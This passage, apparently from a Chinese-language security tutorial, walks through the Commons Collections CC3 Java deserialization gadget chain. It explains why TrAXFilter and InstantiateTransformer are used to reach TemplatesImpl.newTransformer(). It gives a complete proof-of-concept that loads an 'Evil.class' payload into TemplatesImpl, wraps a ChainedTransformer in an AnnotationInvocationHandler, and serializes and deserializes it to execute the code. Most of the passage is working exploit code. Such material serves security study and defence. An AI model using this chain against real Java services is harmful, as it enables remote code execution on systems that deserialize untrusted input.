oos.writeObject(obj); oos.close(); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); Object obj = ois.readObject(); ois.close(); return obj; } public static void setFieldValue (Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException { Class<?> clazz = obj.getClass(); Field field = clazz.getDeclaredField(name); field.setAccessible(true ); field.set(obj,value); } }
CC3 利用这个 TemplatesImpl加载恶意类 是通过TemplatesImpl.newTransformer()实现的
找谁调用了newTransformer()
这里找到多个,其中:
Process 这个在 _main 里面,是作为一般对象用的,所以不用它
getOutProperties,是反射调用的方法,可能会在 fastjson 的漏洞里面被调用
TransformerFactoryImpl 不能序列化,如果还想使用它也是也可能的,但是需要传参,我们需要去找构造函数。而它的构造函数难传参
至于TrAXFilter,虽然它也是不能序列化的,但存在构造方法
1 2 3 4 5 6 7 8 public TrAXFilter (Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl (_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
如果可以调用这个构造方法的话,就可以调用newTransformer()。templates可控
但是这个类是不能被序列化的,只能从它的Class入口,通过构造函数赋值
我们可以通过InstantiateTransformer.transform() 获取 TrAXFilter类构造器并初始化,实现templates.newTransformer()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public Object transform (Object input) { try { if (!(input instanceof Class)) { throw new FunctorException ("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } else { Constructor con = ((Class)input).getConstructor(this .iParamTypes); return con.newInstance(this .iArgs); } } catch (NoSuchMethodException var3) { throw new FunctorException ("InstantiateTransformer: The constructor must exist and be public " ); } catch (InstantiationException ex) { throw new FunctorException ("InstantiateTransformer: InstantiationException" , ex); } catch (IllegalAccessException ex) { throw new FunctorException ("InstantiateTransformer: Constructor must be public" , ex); } catch (InvocationTargetException ex) { throw new FunctorException ("InstantiateTransformer: Constructor threw an exception" , ex); } }
这个类的transform方法 这里它会判断参数 是否是CLass类型,是的话 然后会获取这个指定参数类型的Class,指构造器 然后调它的构造函数 .newInstance()实例化
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 package org.example.CC3;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.map.TransformedMap;import javax.xml.transform.Templates;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC3 { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates,"_name" ,"test" ); byte [] code = Files.readAllBytes(Paths.get("./src/main/java/org/example/CC3/Evil.class" )); byte [][] codes = {code}; setFieldValue(templates,"_bytecodes" ,codes); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); templates.newTransformer(); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class [] {Templates.class}, new Object []{templates}); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> map = new HashMap <>(); map.put("value" ,"value" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null ,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationHandlerConstruction = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerConstruction.setAccessible(true ); Object o = annotationInvocationHandlerConstruction.newInstance(Target.class,transformedMap); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); oos.close(); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); Object obj = ois.readObject(); ois.close(); return obj; } public static void setFieldValue (Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException { Class<?> clazz = obj.getClass(); Field field = clazz.getDeclaredField(name); field.setAccessible(true ); field.set(obj,value); } }
完整的cc3链 1 2 3 4 5 6 7 8 AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InstantiateTransformer.transform() TemplatesImpl.newTransformer()